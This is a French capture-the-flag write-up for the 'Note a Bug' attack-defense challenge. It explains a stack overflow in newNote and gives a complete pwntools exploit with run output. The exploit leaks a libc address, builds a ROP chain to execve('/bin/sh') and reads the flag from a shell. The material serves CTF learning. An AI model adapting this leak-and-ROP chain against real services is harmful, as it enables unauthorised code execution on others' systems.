Solution de mandragore pour Note a Bug (Nordic Mollusks)

pwn attaque-défense x86/x64

10 janvier 2025

Table des matières

Description

Le nombre d’itérations est sur la pile, il est écrasé par le dépassement de buffer dans newNote, on peut le définir arbitrairement.

Il suffit juste de l’écraser et de laisser dérouler le flux normal du programme.

[+] Opening connection to 127.0.0.1 on port 4002: Done
leak      : 0x7f3d9e2331ca
libc base : 0x7f3d9e232000
[*] Loaded 27 cached gadgets for 'note-a-bug'
[*] Loaded 197 cached gadgets for 'libc.so.6'
0x0000:   0x7f3d9e2911b4 pop rax; pop rdx; pop rbx; ret
0x0008:   0x7f3d9e24c285
0x0010:              0x0
0x0018:   0x7f3d9e2e0910 execve
0x0020:         0x401870 pop r12; ret
0x0028:              0x0
0x0030:   0x7f3d9e2a65b2
[*] Switching to interactive mode
FSSC_6814391ead47f8f394a8ae2f28d087943e5e8680f05d0ac152a7200f20b5a96d\x00$

Exploit

#!/usr/bin/env python3

import json
import os
import re

from pwn import *

#context.log_level = "DEBUG"  # usefull to debug leaks
context(arch='amd64')

LOCAL = False

if LOCAL:
r = process(['./note-a-bug','1'],stdin=PTY)
libcpath='libc.so.6.local'
rdbg = gdb.attach(r,gdbscript='''
break newNote
break *0x40148C
c
''')
else:
r = remote("127.0.0.1", 4002, typ="tcp", timeout=2)
libcpath='libc.so.6'

data = r.recvuntil(b'ote\n0. Exit\n>>> ')
session=re.search('/fcsc/([a-zA-Z0-9]+)/',data.decode('ascii')).group(1)

# exploit and leak

sc =cyclic(88)+p64(0)+p64(0x666)+p64(0x401962) # padding + iterator + iterations_max + regular ret
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
filename=re.search('Creating note: ([a-zA-Z0-9]+)',data.decode('ascii')).group(1)
r.sendline(b'176')
data = r.recvuntil(b'Content: \n')
r.sendline(sc)

# get leak

data = r.recvuntil(b'ote\n0. Exit\n>>> ')
r.sendline(b'2')
data = r.recvuntil(b't filename:\n>>> ')
r.sendline(session.encode('ascii')+b'/'+filename.encode('ascii'))
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
start=14+81*10+37
leak=data[start:start+23]
leak=leak.decode('ascii').replace(' ','')
leak=unhex(leak)
leak=unpack(leak,'all')
print('leak      : '+hex(leak))

# build exploit

binlibc=ELF(libcpath,checksec=False)
binlibc.address=leak-(0x7fbe4b3071ca-0x7fbe4b306000) # values from live session on 'Red Beer' session (grep PPid /proc/$$/status / grep libc /proc/$$/maps) using grand grand parent
print('libc base : '+hex(binlibc.address))
binlibc.address-=binlibc.get_section_by_name('.plt').header.sh_offset # fix for rop.resolving
binnab=ELF('note-a-bug',checksec=False)
rop=ROP([binnab,binlibc])
#rop.call('sleep',[10]) # tests
rop.call('execve',[next(binlibc.search(b'/bin/sh\x00')),0,0])

print(rop.dump())

sc =cyclic(104)
sc+=rop.chain()

# trigger

r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
r.sendline(str(len(sc)).encode('ascii'))
data = r.recvuntil(b'Content: \n')
r.sendline(sc)

# enjoy

r.sendline(b"cat /fcsc/YAu4kj47vbSDkqTEf2YttEcK88pXYpf/*")
#print(r.recv())
r.interactive()